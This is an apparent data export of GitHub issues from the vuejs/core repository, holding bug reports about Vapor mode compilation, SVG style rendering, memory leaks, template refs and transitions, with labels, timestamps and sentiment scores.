- **Base64 Encoder/Decoder**: Useful for handling image data and encoded strings in Vue components
- **Timestamp Converter**: Helpful for working with date/time data in Vue apps
- **YAML ↔ JSON Converter**: Great for converting between configuration formats
- **API Testing Tool**: Built-in tool for testing REST APIs used by Vue applications

Since many Vue developers work with JSON data, APIs, and configuration files daily, these tools could be valuable additions to the developer ecosystem.

The platform is completely free, open to all developers, and designed with modern web development workflows in mind.

I'd love to get feedback from the Vue community on what additional tools would be most useful, or explore any potential collaboration opportunities.

Thanks for your amazing work on Vue!

Best regards,
AngriL DevTools Team",,2026-02-02 12:14:52+00:00,2026-02-02 12:26:04+00:00,0,nan,0.0078,developer tools integration free online json formatter for vue developers hi vue team i m developing a free online developer tools platform called angril devtools that provides essential tools for vue developers json formatter minifier perfect for formatting api responses and state data in vue applications base encoder decoder useful for handling image data and encoded strings in vue components timestamp converter helpful for working with date time data in vue apps yaml json converter great for converting between configuration formats api testing tool built in tool for testing rest apis used by vue applications since many vue developers work with json data apis and configuration files daily these tools could be valuable additions to the developer ecosystem the platform is completely free open to all developers and designed with modern web development workflows in mind i d love to get feedback from the vue community on what additional tools would be most useful or explore any potential collaboration opportunities thanks for your amazing work on vue best regards angril devtools team,others,0.9932
vuejs/core,3884371172,[Vapor]: A compilation error occurs when an element cannot be used as a direct child,"### Vue version

3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFOwzAM/ZUol4I0WqQBh6lMArQDHAABx0ioa72SkSZRkpZJVf8dO93KDmiX5Nnv2X5Oen5nbdq1wBc896WTNjAPobWsK6xxS6Flg3dgPXOwmbGBbZxpWIIVidCl0T6wxtfsluizBGFyLrTQeTY2wwYYBGisKgJgxFgeirUaIQU0gxDhatn3sd0w5BlGe022FyGYSvNKdss8o5OmHU3gMx48OtvIOt16o3GznioEL01jpQL3YoNE54IvWGSIK5QyP08xF1wLs0O+/ILy+5/81u8oJ/irAw+uA8EnLhSuhjDSq/dn2CGeyMZUrUL1CfINvFEteRxl962u0PaRLrp9jD8jdf3hV7sA2h+WIqOkHKJecPyshxOr/9mdp1exTugBX/GzA0c98QHn6U16ebGGUKTXfPgFRpu3Sw==

### Steps to reproduce

opening the link prompts an error.

### What is expected?

correctly render {{ msg }}!

### What is actually happening?

Console prompt error： Cannot read properties of null (reading 'firstChild')

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 Intel(R) Core(TM) Ultra 7 255H
    Memory: 16.59 GB / 31.43 GB
  Binaries:
    Node: 22.18.0 - D:\Document\nodejs\node.EXE
    npm: 10.9.3 - D:\Document\nodejs\npm.CMD
    pnpm: 10.28.2 - D:\Document\nodejs\pnpm.CMD
  Browsers:
    Chrome: 144.0.7559.110
    Edge: Chromium (140.0.3485.54)
```

### Any additional comments?

After investigation, it was found that the problem occurred here
Please guide me on how to make the modifications. I am more than happy to provide Pr.


> https://github.com/vuejs/core/blob/301944831babdc1eff121319e5f49c3c39fb3b85/packages/compiler-vapor/src/transforms/transformElement.ts#L393-L404",":hammer: p3-minor-bug,scope: vapor",2026-02-02 07:14:12+00:00,2026-02-03 01:24:25+00:00,4,":hammer: p3-minor-bug,scope: vapor",0.7571,vapor a compilation error occurs when an element cannot be used as a direct child vue version beta link to opening the link prompts an error what is expected correctly render msg what is actually happening console prompt error cannot read properties of null reading firstchild system info any additional comments after investigation it was found that the problem occurred here please guide me on how to make the modifications i am more than happy to provide pr,bug,-0.6621
vuejs/core,3880321270,[Vapor] ⁨:style={...}⁩ attributes on SVG elements render as ⁨[object Object]⁩,"### Vue version

v3.6.0-beta.5

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUj1PwzAQ/SuRly4lLSowhFIJqg4wAAJGS8hNjsStYxv7kgZV+e+ck34NqGK7vI+756ds2b21cV0BS9gUobRKIMy4jqJpKaTuJpozWUeJxx8Fd5xtlyJd585UOpsbZVwSDcR3JQYtZ7PpiKR7l6/z/7pI2l8d7c5ORydp6NOnTlqMPGBlo1pY44KrA3eCcIfGEHUbVm1khkUSXY7HtrkNQAEyL/CItOFKb2NDhj41+kvm8cobTW10OzhLTWmlAvdiURrtOUv67YETSpnNU4ehq2C4x9MC0vUf+Mo3AePs1YEHVwNnBw6FywF7evH+DA3NB7I0WaVIfYZ8A29UFTL2sgfqmWKf6Lq0jyU1h1LnH37RIGi/f1QIGpRtp+eMfon5macf407iq85HfVKLnzW4sJMKnMQ38fhiCSjia9b+AmIly14=

### Steps to reproduce

See output HTML of playground link

### What is expected?

In non-vapor mode, the style is correctly interpolated as `<svg style=""background-color: aqua;""></svg>`

### What is actually happening?

In vapor mode, the compiled SVG shows as `<svg style=""[object Object]""></svg>`

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (24) x64 13th Gen Intel(R) Core(TM) i7-13700KF
    Memory: 21.21 GB / 31.87 GB
  Binaries:
    Node: 25.4.0 - C:\Program Files\nodejs\node.EXE
    npm: 11.7.0 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 144.0.7559.110
    Edge: Chromium (140.0.3485.54)
    Firefox: 147.0 - C:\Program Files\Mozilla Firefox\firefox.exe
  npmPackages:
    vue: ^3.6.0-beta.5 => 3.6.0-beta.5
```

### Any additional comments?

_No response_",,2026-01-31 22:55:25+00:00,2026-02-02 01:49:50+00:00,1,nan,1.1211,vapor style attributes on svg elements render as object object vue version v beta link to see output html of playground link what is expected in non vapor mode the style is correctly interpolated as what is actually happening in vapor mode the compiled svg shows as system info any additional comments no response,others,-0.296
vuejs/core,3874857274,Webcomponent created with Vue not being GC,"### Vue version

3.5.12

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-hnhnh18j?file=src%2Fmain.js,src%2FApp.vue,vite.config.js&terminal=dev

### Steps to reproduce

1. Create a simple vue 3 project with customElements: true and use `createCustomElement` to create a small webcomponent
2. Open developer tools and run the memory profile - find `minimal-test` component
3. Remove it from DOM
4. Run GC manually
5. Run the memory profile again - find `minimal-test`, it's showing as detached

### What is expected?

Expected that he component is GC and not detached

### What is actually happening?

Webcomponent stays detached and in memory

### System Info

```shell

```

### Any additional comments?

<img width=""1857"" height=""807"" alt=""Image"" src=""https://github.com/user-attachments/assets/02bb1b8b-92bb-4a14-88c2-8d116608c40a"" />",,2026-01-30 09:34:20+00:00,2026-02-02 00:55:31+00:00,1,nan,2.6397,webcomponent created with vue not being gc vue version link to create a simple vue project with customelements true and use to create a small webcomponent open developer tools and run the memory profile find component remove it from dom run gc manually run the memory profile again find it s showing as detached what is expected expected that he component is gc and not detached what is actually happening webcomponent stays detached and in memory system info any additional comments,others,0.6705
vuejs/core,3869598988,Memory leak: Continuous memory growth when frequently updating array,"### Version
3.5.27

### Reproduction link
[github.com](https://github.com/webfanzc/mvp-memory-leak)







### Steps to reproduce
1. Open the application in browser

2. Click the ""Start Auto Generate"" button on the page

3. Wait for 1-2 minutes (or longer to observe memory growth)

Note:Memory usage can be monitored using Chrome DevTools Performance/Memory panel. The memory curve should show a continuous upward trend even though the array length is limited to 100 items.

### What is expected?
When the array length is limited to 100 items (`QUOTE_TRADE_LIMIT = 100`), memory usage should remain stable and not continuously grow. Each time new data is added and old data is removed via `splice`, the references to the old data should be properly released by Vue's reactivity system.

### What is actually happening?
Memory continuously grows even though the array length is limited to 100 items. Even after stopping the auto-generation, memory does not decrease.

---
This is a minimal reproducible example (MVP) specifically created to report this issue. The actual use case involves real-time trading data updates, but the core problem can be reproduced with this simplified example.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2026-01-29 09:06:12+00:00,2026-01-29 13:26:02+00:00,7,nan,0.1804,memory leak continuous memory growth when frequently updating array version github com open the application in browser click the start auto generate button on the page wait for minutes or longer to observe memory growth note memory usage can be monitored using chrome devtools performance memory panel the memory curve should show a continuous upward trend even though the array length is limited to items what is expected when the array length is limited to items memory usage should remain stable and not continuously grow each time new data is added and old data is removed via the references to the old data should be properly released by vue s reactivity system what is actually happening memory continuously grows even though the array length is limited to items even after stopping the auto generation memory does not decrease this is a minimal reproducible example mvp specifically created to report this issue the actual use case involves real time trading data updates but the core problem can be reproduced with this simplified example,others,-0.4215
vuejs/core,3866916124,`useTemplateRef` should not override setup refs with the same name,"### Vue version

3.5.27

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UctqwzAQ/JVFF9tg7EN7Sp1AW3JooQ/SHHUxztpxKktCj9QQ/O9d2UmaQshNuzM7O6M9sEets71HNmOFrUyrHVh0Xi+4bDutjIMDGKxT8BbX2GlROlyFWsk35aXDDQxQG9VBRCoRl1xWSloHtVIwD6NxtEUhVJQ8XEAkQeh/zTgiYKRxeVaP4wTmCzhwCRCmlcBMqGbipkEq25fCYwJ5DthrrIKl40ouh4TLIp+CUSQq3HEhVQBFK7V3weWcM9LiDHICivyCxVLmLK2u2ybbWSXpp0Y3nFWq061A86FdS9Y4m00+A1bS/p/XseeMx/TUr7ZYfV/p72wfepx9GrRo9sjZGXOladBN8PLrHXt6n8FObbwg9g1whfRtPnicaE9ebsj2BW90+zLeu5XN2i57h9KeQgWjgTmMfM7o0M83ov/Zvcvuxzm6Axt+Ad9Zzqc=

### Steps to reproduce

```vue
<script setup>
import { ref, useTemplateRef, onMounted } from 'vue'

const foo = ref('hello');
const fooRef = useTemplateRef('foo');

onMounted(() => {
  console.log('foo', foo.value) // expected 'hello'
})
</script>

<template>
  <input ref=""foo"" />
</template>
```

### What is expected?

`foo` should stay the reactive ref you declared:

```js
const foo = ref('hello') // foo.value === 'hello'
```

A template ref should be separate, accessed via something like `fooRef`:

```js
const fooRef = useTemplateRef('foo') // fooRef.value === <input ...>
```


### What is actually happening?

`foo.value` it's now `<input ...>` element.

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-01-28 19:01:32+00:00,2026-01-29 01:36:31+00:00,0,nan,0.2743,should not override setup refs with the same name vue version link to what is expected should stay the reactive ref you declared a template ref should be separate accessed via something like what is actually happening it s now element system info any additional comments no response,others,0.0772
vuejs/core,3855165032,add undefined handler to event with modifier in loop will cause error,"### Vue version

3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v1DAQ/SuDL9mVSiIEp212BVSVgAMgQOKAOaTZSerWsS3b2a4U5b93bCfpblX1Fs978+bNRwb2yZj80CPbsNLVVhgPDn1vdlyJzmjrYQCLDYzQWN1BRtRsgX4YL7S60rLvFEyEvDiNBunsErjiqtbKeehcC9uguMq+oJQa/mor92+yNVdlkQxQaXp47IysPNILoLx9txuGmDyOZUGvGBXK9B4Obzu9R7nljHDOoEjgmbkQK4sTTXbBvCNLjWjzO6cV9T+ENM5q3Rkh0aZ8x9kGIhKwihw/fIsxb3u8mOP1Ldb3L8Tv3DHEOPtp0aE9IGcL5ivbok/w9e/veKTvBaSOeknsV8Bf6Ki34DHRPvdqT7ZPeNHt17gqodo/7vroUbm5qWA0MMfI54w2dfVK60923+cfYh5XI03x+bbDIZ3v7qb3XitaU6MtLUnHBBAK0heVgY+1FPV97rw2CyPXBm2V+otCAMMwQarqcCQDpF4k+ef7nY9ZVqolSR+qzIedLnGqTtf4LwhNjQblDWQ3lc2mOS42NrBaw3Y3MwGCjpaYS92usoUWOgvp68vEizbTkM9rNFq/UIO2iI1QuJ9m/J9kTv4MNj4CMl48Wg==

### Steps to reproduce

Adding undefined to event handler with modifier in for loop will cause error.  Minimal reproduction demo is given in link above. 
There is an almost same issue before https://github.com/vuejs/core/issues/9865, which has been fixed.
While in for loop, this issue still exists and will cause failure.

### What is expected?

Like issue in https://github.com/vuejs/core/issues/9865, vue should ignore empty event handler with modifier in for loop

### What is actually happening?

sfc fails to render if adding undefined handler to event with modifier in loop

### System Info

```shell
System:
    OS: macOS 26.2
    CPU: (10) arm64 Apple M1 Pro
    Memory: 177.27 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.12.0 - /Users/alexren/.nvm/versions/node/v2... [TRUNCATED]",:hammer: p3-minor-bug,2026-01-26 09:26:46+00:00,2026-02-09 07:55:24+00:00,0,:hammer: p3-minor-bug,13.9366,add undefined handler to event with modifier in loop will cause error vue version link to adding undefined to event handler with modifier in for loop will cause error demo is given in link above there is an almost same issue before which has been fixed while in for loop this issue still exists and will cause failure what is expected like issue in vue should ignore empty event handler with modifier in for loop what is actually happening sfc fails to render if adding undefined handler to event with modifier in loop system info shell system os macos cpu arm apple m pro memory mb gb shell bin zsh binaries node users alexren nvm versions node v truncated,bug,-0.9169
vuejs/core,3853192062,Is this a bug? After calling effectScope.stop(). The component render function outside the scope  will not update anymore.,"### Vue version

>=3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNqdVM1u00AQfpXRXuKqrtNSEFJIKyj0AAeKaMWFRch1Jq7bza61P2mkKBKIExISL4CEuMCRMwfeBlB5C2Z369ZJoxzwwfHOfLPzzbffZsoe1HU2dsh6rG8KXdUWDFpX73JZjWqlLUxB4xBmMNRqBB2Cdtopk8JJLgcC97CsZLPYn1S2KeEs62qTWcPZPS65LJQ0Fo49HHYgWYOdXZhyCe19kjUuZw0U5WAZ0PeYw+WDBRx1HefCYWZsXuL6esD2u3FMGpAWFke1yC3SCiDAetMp1YXPGcEB+sfOWiXhfiGq4myHs0Cds93w2+/GdNjgBpSoE5Deq2HEnGD0noN5ri1+LGXW0KTDqsxOjZJ0YmFKzgo1qiuB+qC2FSnBWS/O73O5EOr8SYhZ7TBt4sUJFmdL4qdm4mOcPdNoUI+Rs6uczXWJNqb3D5/ihL6vkiM1cILQK5LP0SjhPMcI23P+HHULF9g+DuaqZHlk9icWpWmG8kQ9chbwnJEXH64Y/ZrudnY71JEBSMVgRlKv7e8UcDjEwh4WqsYUznNbnCx4nkuchILoNm3IbFSZhH7ROrAZmNEp1bSQTgjqSBZdKG0Zfd6wMU17WRd2v/TvZQMKRl9Sagu6Xeq2ld5Kt9MwXAPwvQnQGsdfkvl8pp1MWn39E0ZOXsZou9urFJJAg666EoMX4XO+1j+euxKYCVUmnY0NIt9JIdaF/v7xWsQ3HcVSUcIfx39qsnlDk1gbJgtKEKgtwxLZ4plRGO1RNULl7KJO1RCS6x3XyD7UNfolag6/fnz+/fH7xbuffz+9ufj69s/7bxdfPsDRwaODXluwAR67siT7t2LXG9NUqo4nF5SLvofNRjvy8esxan83yMrb2Z1s6y6b/QOI6+2I

### Steps to reproduce

1. click begin button. The ui show the initial ref value 1000. And in the programme I created an effectScope and a watch funcion inside it watching the change of this ref.
2. clck add button. The ref value was added by 1. The ui show the updated value 1001 correctly.
3. click end button. This will call effectScope.stop(). And reset the ref value to 0. The ui show the value 0 correctly.
4. click begin button again. The ui always show 0 and does not update anymore, though the ref value is changing.... [TRUNCATED]","scope: reactivity,has workaround,:hammer: p3-minor-bug",2026-01-25 12:43:16+00:00,2026-02-09 07:56:11+00:00,1,"scope: reactivity,has workaround,:hammer: p3-minor-bug",14.8006,is this a bug after calling effectscope stop the component render function outside the scope will not update anymore vue version link to click begin button the ui show the initial ref value and in the programme i created an effectscope and a watch funcion inside it watching the change of this ref clck add button the ref value was added by the ui show the updated value correctly click end button this will call effectscope stop and reset the ref value to the ui show the value correctly click begin button again the ui always show and does not update anymore though the ref value is changing truncated,bug,0.7906
vuejs/core,3850390048,TransitionGroup not firing v-move at array.push,"### Vue version

3.5.27

### Link to minimal reproduction

[Playground](https://play.vuejs.org/#eNqFVMlu2zAQ/ZWBcrCC2LLTtBfVMdAWQZECXdDmVvXASCOZCUUSJOUkMPTvHZHaGhTJReC82d68IXWMPmidHBqM0mhrc8O1A4uu0btMAvBaK+PgCAbLJSj5VTXSYQEtlEbVsKC8RSa7yFxJ60Bw+lx20fHvP6cdLtABLwjbhLiykbnjSgIritg9aVyCw0d3CsfOSx3LuCuSHJhoMBEoK7eHHVyMAVRy8lsteI7xZgnnvhtAG9qExk4xz2dM5cVyOPreo0EUnudPXXRj97GvRU16msXZWXfqw0dl4vgULndDQxLymlBDZf51gB9/gcYos1jC4gaJZ43WsgoXwyQ01Gaz8VZL3+06rIcWQ4bDWgvm0K9pe2OYtLzT9bNRjQbJarzMIs/ZZhE4VpFZ8AOdeTHz+HQqQC7IBbN28FHgYVUqM9jApZeE8PQenwY44QUVOR6D1EmnI7QtnIwI7b5tt2uqH5iun1EldLueDUOmdU8izHUSaA6qaRUSU2C3VonG4fvguFXOqTqFC4N1Dwks3Qzo9zQU3EESpuor18xUXK6c0ikk76YqmtbEZZXC+Rx94IXbEzaDciWUSeFhzydSLL+vaERZpHAryJgTCe3tSiA74IrRkzjgK2M+y6zVlOFGTYn+GwtMCEBmcUUzqcbfbMqmC+SVjZaRs/ReS14ld1ZJevm+ThblqtZcoPmuu1p0PdKhQxZRTfXwxWPONMPToZw95vf/we/sY4dl0Q+Dlp4AZtHocyQ30lXq3Fe/vnWPb3LWqmgERb/g/IleF+IYwj6SyER7FufZXvu/F+3vxl49OiSJ+qE6ol4UH59F9Bv79MLoE92L5G0vZhu1fwF/6rPz)

### Steps to reproduce

We just wait until the number of elements becomes more than 4

### What is expected?

The v-move transition animation should trigger when the second element appears. The first element should smoothly move upward

### What is actually happening?

When the second, third, and fourth elements appear, the v-move transition animation doesn't trigger. Older elements bounce upward. v-move only starts working when the fifth element appears, when the oldest element is removed.

### System Info

```shell

```

### Any addition... [TRUNCATED]","scope: transition,:hammer: p3-minor-bug",2026-01-24 06:28:37+00:00,2026-02-09 07:55:49+00:00,0,"scope: transition,:hammer: p3-minor-bug",16.0606,transitiongroup not firing v move at array push vue version link to playground we just wait until the number of elements becomes more than what is expected the v move transition animation should trigger when the second element appears the first element should smoothly move upward what is actually happening when the second third and fourth elements appear the v move transition animation doesn t trigger older elements bounce upward v move only starts working when the fifth element appears when the oldest element is removed system info any addition truncated,bug,0.3261
vuejs/core,3847644998,v-show not working correctly in vdom > vapor,"### Vue version

3.6.0-beta.4

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU21r2zAQ/itCUNpC46QkK8NLy17oh+3DNrZ9FAzFPttqZElIsuMs5L/vJNtJE7Y2BHK6e+7uuXsuO/rBmKRtgKZ06TIrjCcOfGMemBK10daTHbFQkD0prK7JJUIvD6FPujaDP5mGR6iEYaYyrRxWqvSG3If8q4JLB9dMLad9F6yPDw+1kdwDvghZ5qKNBpqxcjsJBe4ZDT+MTnvUtIctp8+S6Q31DnsWokyenFY4zS6AGc2wkJBgvxkvkBOjKYmREONS6s2X6PO2gZvRn1WQrf/hf3Jd8DH63YID2wKjh5jntgTfhx9/foUO7UOw1nkjEf1C8Ac4LZvAsYd9bFSOtJ/hItvPcfFClb/cY+dBuXGoQDQg9xHPKAoRdvi/0Y9058ki5jG1xy2OIoZzOBEHF+8MVyST3DmURGqeB3oPKCj6zwXB53BNkqsS8R7795dFWo4z9JiTY3B+K0Nu0tceyW5E7quULN6a7l3vqUCUlT9xrbTFlInluWhcSt7MLoZALhxy2qZEKCkUTFZSZ+vTJK8NrsF0BBUQOVlJfo6wfb8jxluucGwLyh+Q3cSJP6hMOmahawhy/MPwIEJKrPbRIreOBELcIrNCKOEBwagCU+/XsC0sr8Ed0cMuZhejFT6RRaFtPZSFq1kO5fXQNNYKxu3stbT53VkiflGbqAcexe8WbDg0PIp5cpfMJivwPFnQ/V/d1Wcd

### Steps to reproduce

1. create vdom component
2. create vapor component 
3. add vapor component as a child of v-dom component with v-show=""false""

### What is expected?

Vapor child component must be hidden

### What is actually happening?

Vapor child component rendered

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (12) x64 Intel(R) Core(TM) i5-10500 CPU @ 3.10GHz
    Memory: 9.70 GB / 31.93 GB
  Binaries:
    Node: 24.13.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.19 - C:\Program Files\nodejs\yarn.CMD
    npm: 11.7.0 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 144.0.7559.97
    Edge: Chromium (140.0.3485.54)
    Firefox: 147.0.1 -... [TRUNCATED]",,2026-01-23 14:15:36+00:00,2026-02-22 11:55:56+00:00,1,nan,29.903,v show not working correctly in vdom vapor vue version beta link to create vdom component create vapor component add vapor component as a child of v dom component with v show false what is expected vapor child component must be hidden what is actually happening vapor child component rendered system info shell system os windows cpu x intel r core tm i cpu ghz memory gb gb binaries node c program files nodejs node exe yarn c program files nodejs yarn cmd npm c program files nodejs npm cmd browsers chrome edge chromium firefox truncated,others,0.4939
vuejs/core,3831266183,incorrect template generation for components following form elements,"### Vue version

3.6.0-beta.3, 3.6.0-beta.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFKxDAQ/ZWQ85oKq4JLKajsQQ8qKp4C0m1na9c0CcmkFkr/3STt1h6WPeXNey+TN5Oe3mnNWgd0Q1NbmFojsYBOkzbXymRpMpIZl1ymCI0WOYKvCEnLuo3Aw70yzYR9tXOISmbjkSZTOVmThbfvCRoHZBhiw2TsmCaLd+iKoi2U3NcVO1glfc4+mDktVKNrAeZFY62k5XRDohK0XAj1+xS58MDqyBffUPyc4A+2CxynrwYsmBY4nTXMTQU4ytv3Z+g8nsVGlU549xnxDawSLmQcbfdOlj72whfTPjZ+31jL6sNuOwRpj0OFoME5RD+n/rMezoz+H3fNruI9Lge/xa8WTOjpF7hmN+zyYgeYs3VQ0H7O2jW79eTwB7zarWI=

### Steps to reproduce

- reproduction playground is set up to produce the error
- optionally adding any element/comment on a new line after the button element ""fixes"" the issue
- replacing the interpolated text with static text doesn't error, but produces a incorrect template

```html
<template>
  <div>
    <form>
      <button>Button</button>
    </form>
    a
  </div>
</template>
```

will turn into

```html
<div><form><button>Button a </button></form></div>
```

### What is expected?

the template renders correctly

### What is actually happening?

a TypeError of TypeError: Cannot read properties of null (reading '$txt'), TypeError: Cannot read properties of null (reading 'firstChild') or an incorrect template

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (20) x64 12th Gen Intel(R) Core(TM) i7-12700F
    Memory: 8.13 GB / 31.83 GB
  Binaries:
    Node: 24.3.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.22 - C:\Users\idlec\AppData\Roaming\npm\yarn.CMD
    ... [TRUNCATED]",,2026-01-19 21:32:48+00:00,2026-01-20 02:38:19+00:00,1,nan,0.2122,incorrect template generation for components following form elements vue version beta beta link to reproduction playground is set up to produce the error optionally adding any element comment on a new line after the button element fixes the issue replacing the interpolated text with static text doesn t error but produces a incorrect template will turn into what is expected the template renders correctly what is actually happening a typeerror of typeerror cannot read properties of null reading txt typeerror cannot read properties of null reading firstchild or an incorrect template system info shell system os windows cpu x th gen intel r core tm i f memory gb gb binaries node c program files nodejs node exe yarn c users idlec appdata roaming npm yarn cmd truncated,others,-0.4588
vuejs/core,3830689403,Global variable clashes for Vue dev tools hooks,"### Vue version

3.5.26

### Link to minimal reproduction

Can not provide

### Steps to reproduce

compile vue 3 application into single js file, side load it into an existing site where buffer already exists on the window object. error is thrown.


Problem source
```js
let buffer = []; //OFFENDING VAR
function setDevtoolsHook$1(hook, target) {
    var _a2, _b2;
    devtools$1 = hook;
    if (devtools$1) {
        devtools$1.enabled = true;
        buffer.forEach( ({event: event2, args}) => devtools$1.emit(event2, ...args));
        buffer = [];
    } else if (// handle late devtools injection - only do this if we are in an actual
    // browser environment to avoid the timer handle stalling test runner exit
    // (#4815)
    typeof window !== ""undefined"" && // some envs mock window but not fully
    window.HTMLElement && // also exclude jsdom
    // eslint-disable-next-line no-restricted-syntax
    !((_b2 = (_a2 = window.navigator) == null ? void 0 : _a2.userAgent) == null ? void 0 : _b2.includes(""jsdom""))) {
        const replay = target.__VUE_DEVTOOLS_HOOK_REPLAY__ = target.__VUE_DEVTOOLS_HOOK_REPLAY__ || [];
        replay.push( (newHook) => {
            setDevtoolsHook$1(newHook, target);
        }
        );
        setTimeout( () => {
            if (!devtools$1) {
                target.__VUE_DEVTOOLS_HOOK_REPLAY__ = null;
                buffer = [];
            }
        }
        , 3e3);
    } else {
        buffer = [];
    }
}
```


### What is expected?

vue ... [TRUNCATED]",need more info,2026-01-19 17:50:33+00:00,2026-02-22 12:24:31+00:00,6,need more info,33.7736,global variable clashes for vue dev tools hooks vue version link to can not provide compile vue application into single js file side load it into an existing site where buffer already exists on the window object error is thrown problem source what is expected vue truncated,others,-0.6908
vuejs/core,3828324775,The render code compiled using Vue compiler-dom+Vue.runtime.global encounters an error in the browser console during runtime,"### Vue version

3.5.26

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-itypu19n?file=index.html

### Steps to reproduce

I have previously reported a similar issue on #14264 , the runtime environment was "" vue. global. js"", and the problem was resolved by adding ""_rc=true"".

But when I replaced ""vue. global. js"" with ""vue. runtime. global. js"" without runtime compilation functionality, the same problem reappeared.

If ""_rc=true"" is added, the component cannot be displayed; If it is not added, multiple errors will be prompted.

(I use Option API)

<img width=""1520"" height=""1315"" alt=""Image"" src=""https://github.com/user-attachments/assets/50804d68-201c-4f14-bb75-3381594638a6"" />

### What is expected?

no warn

### What is actually happening?

?

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-01-19 07:10:00+00:00,2026-01-19 08:25:14+00:00,2,nan,0.0522,the render code compiled using vue compiler dom vue runtime global encounters an error in the browser console during runtime vue version link to i have previously reported a similar issue on the runtime environment was vue global js and the problem was resolved by adding rc true but when i replaced vue global js with vue runtime global js without runtime compilation functionality the same problem reappeared if rc true is added the component cannot be displayed if it is not added multiple errors will be prompted i use option api what is expected no warn what is actually happening system info any additional comments no response,bug,-0.6244
vuejs/core,3813596670,Vapor Transition: `<Transition>` expects exactly one child element or component,"### Vue version

3.6.0-beta.3

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUk1v2zAM/SuaLt2A2k6RbYfMNfaBDtgO27DlKGBQbdpRK0uCRLspgvz3UlbqpkXRXmyR7/HpkdSOf3EuHwfgK16G2iuHbJTO+koY1dMf2Y55aNmetd727ISoJ8LU1gRk9G0UKmvYeeS8RT/AO2HKIgmRBAUIvdMSgSLGyssBkfifa63q63PBjyXezIHg1dp2nYaySAWpeO2lCYltZA9U3soGBGe9bWJkB8xULI5s4m/O2Jip9viaGSQ4OGmqNXkmw/H4ClAWm7NHyqADVN8lfWeoLB48UqIsjrqnMOCtBhZq66ChTB7tZ2AQfCZrVCOc3ic1yBEOSbaL0jgLr5h1slZ4yxb5h/BJmP1jqbioJ0Jok8ihcMUWqYwajJYqfsqRbJlWdflVsIZew8SPk+ud0uB/u3h1EHyVlCImtbY3P6dcXD3dmfL1BurrZ/JXYRtzgv/xEMCPtLoZQ+k7wARf/PsFWzrPIO130MR+AfwLweohrTjSvg6mIdtHvMntj+lNK9Otw8UWgSZ6aCoajcz9xBec3vm3F1p/sLvM3091NE+a4v8RfNSkAS7zj/kiuwSU+ZLv7wAWyCNS

### Steps to reproduce

```vue
  <Transition name=""fade"" mode=""out-in"">
    <h1 v-if=""condition"">
      <span>True</span>
      <span>True</span>
    </h1>
    <h1 v-else>False</h1>
  </Transition>
```

The second `span` throws an error in Vapor mode, whereas `script setup` correctly compiles.

### What is expected?

Should work in vapor mode

### What is actually happening?

This works with `script setup` but throws with `script vapor`:

```
[plugin:vite:vue] <Transition> expects exactly one child element or component.

Home.vue:9:5

7  |    <button @click=""condition = !condition"">Toggle</button>
8  |    <Transition name=""fade"" mode=""out-in"">
9  |      <h1 v-if=""condition"">
   |       ^
10 |        <span>True</span>
11 |        <span>True</span>
```

### System Info

```shell
System:
    OS: macOS 15.7.3
... [TRUNCATED]",,2026-01-14 15:03:38+00:00,2026-01-15 00:23:47+00:00,2,nan,0.389,vapor transition expects exactly one child element or component vue version beta link to the second throws an error in vapor mode whereas correctly compiles what is expected should work in vapor mode what is actually happening this works with but throws with system info shell system os macos truncated,others,-0.25
vuejs/core,3810727296,Vapor text is incorrectly escaped,"### Vue version

3.6.0-beta.3

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kEFLw0AQhf9KmIuXuhUiHkooqBTUg4p6XJCYjDF1s7vszqYpJf/d2Q2tPZTedt/3ZnjzdnBrregDwgIKX7nWUtaX1rhlMZ++S6mlLgg7q0pC/mXZg9nU22x7USrFaH7EYAbkK6O/20asvdG8dRcnJFSms61C92KpNdpLWGSJRMZ7zOYpaeQCzvZ69YPV7wl97YeoSXh16NH1KOHAqHQN0oRX78848PsAO1MHxe4z8A29USFmnGx3Qdcc+8iX0j523BG1uvnwq4FQ+/1RMWh0jskvgau9P3P6f9xcXKc5qUdu8bNHF3dygbm4EVeXX0ilyGH8AwY4jXE=

### Steps to reproduce

Render text in a vapor component with potentially dangerous characters, like `'` or `&`

### What is expected?

Text should be rendered normally

### What is actually happening?

Characters like `'` and `""` are escaped to strings `&#39;` and `&quot;`. Presumably this is true for all dangerous characters, but I haven't checked them all.

### System Info

```shell
System:
    OS: macOS 14.7.6
    CPU: (10) arm64 Apple M1 Pro
    Memory: 731.50 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.10.0 - /Users/scottbedard/.nvm/versions/node/v24.10.0/bin/node
    npm: 11.6.1 - /Users/scottbedard/.nvm/versions/node/v24.10.0/bin/npm
    pnpm: 9.7.0 - /Users/scottbedard/Library/pnpm/pnpm
    Deno: 2.4.2 - /Users/scottbedard/.deno/bin/deno
  Browsers:
    Brave Browser: 141.1.83.118
    Chrome: 143.0.7499.193
    Firefox: 146.0.1
    Firefox Nightly: 129.0a1
    Safari: 17.6
  npmPackages:
    vue: 3.5.26 => 3.5.26
```

### Any additional comments?

